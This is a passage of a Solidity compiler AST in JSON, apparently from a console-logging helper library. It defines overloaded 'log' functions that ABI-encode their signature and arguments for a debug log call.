:[],"body":{"id":24641,"nodeType":"Block","src":"8908:89:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e7432353629","id":24635,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8958:22:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8309e8a8b132619bdb25dffa9d595ba1ecb7835540fd62622dad33018c4a0d3e","typeString":"literal_string \"log(address,uint256)\""},"value":"log(address,uint256)"},{"id":24636,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24627,"src":"8982:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":24637,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24629,"src":"8986:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8309e8a8b132619bdb25dffa9d595ba1ecb7835540fd62622dad33018c4a0d3e","typeString":"literal_string \"log(address,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24633,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8934:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24634,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8938:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8934:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8934:55:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24632,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"8918:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8918:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24640,"nodeType":"ExpressionStatement","src":"8918:72:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8866:3:15","parameters":{"id":24630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24627,"mutability":"mutable","name":"p0","nameLocation":"8878:2:15","nodeType":"VariableDeclaration","scope":24642,"src":"8870:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24626,"name":"address","nodeType":"ElementaryTypeName","src":"8870:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24629,"mutability":"mutable","name":"p1","nameLocation":"8890:2:15","nodeType":"VariableDeclaration","scope":24642,"src":"8882:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24628,"name":"uint256","nodeType":"ElementaryTypeName","src":"8882:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8869:24:15"},"returnParameters":{"id":24631,"nodeType":"ParameterList","parameters":[],"src":"8908:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24659,"nodeType":"FunctionDefinition","src":"9003:145:15","nodes":[],"body":{"id":24658,"nodeType":"Block","src":"9060:88:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e6729","id":24652,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9110:21:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_759f86bbdd0758679ecefbd32ea620068b2339dddd9e45ee0fa567ee6c81f0ab","typeString":"literal_string \"log(address,string)\""},"value":"log(address,string)"},{"id":24653,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24644,"src":"9133:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":24654,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24646,"src":"9137:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_759f86bbdd0758679ecefbd32ea620068b2339dddd9e45ee0fa567ee6c81f0ab","typeString":"literal_string \"log(address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24650,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9086:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24651,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9090:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9086:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24655,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9086:54:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24649,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"9070:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24656,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9070:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24657,"nodeType":"ExpressionStatement","src":"9070:71:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9012:3:15","parameters":{"id":24647,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24644,"mutability":"mutable","name":"p0","nameLocation":"9024:2:15","nodeType":"VariableDeclaration","scope":24659,"src":"9016:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24643,"name":"address","nodeType":"ElementaryTypeName","src":"9016:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24646,"mutability":"mutable","name":"p1","nameLocation":"9042:2:15","nodeType":"VariableDeclaration","scope":24659,"src":"9028:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24645,"name":"string","nodeType":"ElementaryTypeName","src":"9028:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9015:30:15"},"returnParameters":{"id":24648,"nodeType":"ParameterList","parameters":[],"src":"9060:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24676,"nodeType":"FunctionDefinition","src":"9154:134:15","nodes":[],"body":{"id":24675,"nodeType":"Block","src":"9202:86:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c29","id":24669,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9252:19:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_75b605d31a3bf49c8d814696c7c66216d3a7e81348c450078f032e425592f72b","typeString":"literal_string \"log(address,bool)\""},"value":"log(address,bool)"},{"id":24670,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24661,"src":"9273:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":24671,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24663,"src":"9277:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_75b605d31a3bf49c8d814696c7c66216d3a7e81348c450078f032e425592f72b","typeString":"literal_string \"log(address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24667,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9228:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24668,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9232:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9228:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9228:52:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24666,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"9212:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9212:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24674,"nodeType":"ExpressionStatement","src":"9212:69:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9163:3:15","parameters":{"id":24664,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24661,"mutability":"mutable","name":"p0","nameLocation":"9175:2:15","nodeType":"VariableDeclaration","scope":24676,"src":"9167:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24660,"name":"address","nodeType":"ElementaryTypeName","src":"9167:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24663,"mutability":"mutable","name":"p1","nameLocation":"9184:2:15","nodeType":"VariableDeclaration","scope":24676,"src":"9179:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24662,"name":"bool","nodeType":"ElementaryTypeName","src":"9179:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"9166:21:15"},"returnParameters":{"id":24665,"nodeType":"ParameterList","parameters":[],"src":"9202:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24693,"nodeType":"FunctionDefinition","src":"9294:140:15","nodes":[],"body":{"id":24692,"nodeType":"Block","src":"9345:89:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c6164647265737329","id":24686,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9395:22:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_daf0d4aa9a5679e832ac921da67b43572b4326ee2565442d3ed255b48cfb5161","typeString":"literal_string \"log(address,address)\""},"value":"log(address,address)"},{"id":24687,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24678,"src":"9419:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":24688,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24680,"src":"9423:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_daf0d4aa9a5679e832ac921da67b43572b4326ee2565442d3ed255b48cfb5161","typeString":"literal_string \"log(address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24684,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9371:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24685,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9375:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9371:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24689,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9371:55:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24683,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"9355:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9355:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24691,"nodeType":"ExpressionStatement","src":"9355:72:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9303:3:15","parameters":{"id":24681,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24678,"mutability":"mutable","name":"p0","nameLocation":"9315:2:15","nodeType":"VariableDeclaration","scope":24693,"src":"9307:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24677,"name":"address","nodeType":"ElementaryTypeName","src":"9307:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24680,"mutability":"mutable","name":"p1","nameLocation":"9327:2:15","nodeType":"VariableDeclaration","scope":24693,"src":"9319:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24679,"name":"address","nodeType":"ElementaryTypeName","src":"9319:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9306:24:15"},"returnParameters":{"id":24682,"nodeType":"ParameterList","parameters":[],"src":"9345:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24713,"nodeType":"FunctionDefinition","src":"9440:164:15","nodes":[],"body":{"id":24712,"nodeType":"Block","src":"9503:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c75696e7432353629","id":24705,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9553:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d1ed7a3c020c4f5939654147940a147a8e4e638fa1e8f5664b5efbd1e1f3c4a6","typeString":"literal_string \"log(uint256,uint256,uint256)\""},"value":"log(uint256,uint256,uint256)"},{"id":24706,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24695,"src":"9585:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24707,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24697,"src":"9589:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24708,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24699,"src":"9593:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d1ed7a3c020c4f5939654147940a147a8e4e638fa1e8f5664b5efbd1e1f3c4a6","typeString":"literal_string \"log(uint256,uint256,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24703,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9529:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24704,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9533:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9529:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24709,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9529:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24702,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"9513:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24710,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9513:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24711,"nodeType":"ExpressionStatement","src":"9513:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9449:3:15","parameters":{"id":24700,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24695,"mutability":"mutable","name":"p0","nameLocation":"9461:2:15","nodeType":"VariableDeclaration","scope":24713,"src":"9453:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24694,"name":"uint256","nodeType":"ElementaryTypeName","src":"9453:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24697,"mutability":"mutable","name":"p1","nameLocation":"9473:2:15","nodeType":"VariableDeclaration","scope":24713,"src":"9465:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24696,"name":"uint256","nodeType":"ElementaryTypeName","src":"9465:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24699,"mutability":"mutable","name":"p2","nameLocation":"9485:2:15","nodeType":"VariableDeclaration","scope":24713,"src":"9477:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24698,"name":"uint256","nodeType":"ElementaryTypeName","src":"9477:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9452:36:15"},"returnParameters":{"id":24701,"nodeType":"ParameterList","parameters":[],"src":"9503:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24733,"nodeType":"FunctionDefinition","src":"9610:169:15","nodes":[],"body":{"id":24732,"nodeType":"Block","src":"9679:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c737472696e6729","id":24725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9729:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_71d04af2c0d71f035017c73ec9440d8cef06157a84f0febe8ec74eca98138262","typeString":"literal_string \"log(uint256,uint256,string)\""},"value":"log(uint256,uint256,string)"},{"id":24726,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24715,"src":"9760:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24727,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24717,"src":"9764:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24728,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24719,"src":"9768:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_71d04af2c0d71f035017c73ec9440d8cef06157a84f0febe8ec74eca98138262","typeString":"literal_string \"log(uint256,uint256,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24723,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9705:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24724,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9709:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9705:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9705:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24722,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"9689:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24730,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9689:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24731,"nodeType":"ExpressionStatement","src":"9689:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9619:3:15","parameters":{"id":24720,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24715,"mutability":"mutable","name":"p0","nameLocation":"9631:2:15","nodeType":"VariableDeclaration","scope":24733,"src":"9623:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24714,"name":"uint256","nodeType":"ElementaryTypeName","src":"9623:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24717,"mutability":"mutable","name":"p1","nameLocation":"9643:2:15","nodeType":"VariableDeclaration","scope":24733,"src":"9635:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24716,"name":"uint256","nodeType":"ElementaryTypeName","src":"9635:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24719,"mutability":"mutable","name":"p2","nameLocation":"9661:2:15","nodeType":"VariableDeclaration","scope":24733,"src":"9647:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24718,"name":"string","nodeType":"ElementaryTypeName","src":"9647:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9622:42:15"},"returnParameters":{"id":24721,"nodeType":"ParameterList","parameters":[],"src":"9679:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24753,"nodeType":"FunctionDefinition","src":"9785:158:15","nodes":[],"body":{"id":24752,"nodeType":"Block","src":"9845:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c626f6f6c29","id":24745,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9895:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4766da72b632663e3b9911d02d6f30e0cf213f928bdb9f6fd840851875d9fce0","typeString":"literal_string \"log(uint256,uint256,bool)\""},"value":"log(uint256,uint256,bool)"},{"id":24746,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24735,"src":"9924:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24747,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24737,"src":"9928:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24748,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24739,"src":"9932:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4766da72b632663e3b9911d02d6f30e0cf213f928bdb9f6fd840851875d9fce0","typeString":"literal_string \"log(uint256,uint256,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24743,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9871:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24744,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9875:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"9871:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24749,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9871:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24742,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"9855:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24750,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9855:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24751,"nodeType":"ExpressionStatement","src":"9855:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9794:3:15","parameters":{"id":24740,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24735,"mutability":"mutable","name":"p0","nameLocation":"9806:2:15","nodeType":"VariableDeclaration","scope":24753,"src":"9798:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24734,"name":"uint256","nodeType":"ElementaryTypeName","src":"9798:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24737,"mutability":"mutable","name":"p1","nameLocation":"9818:2:15","nodeType":"VariableDeclaration","scope":24753,"src":"9810:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24736,"name":"uint256","nodeType":"ElementaryTypeName","src":"9810:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24739,"mutability":"mutable","name":"p2","nameLocation":"9827:2:15","nodeType":"VariableDeclaration","scope":24753,"src":"9822:7:15","stateVariable":f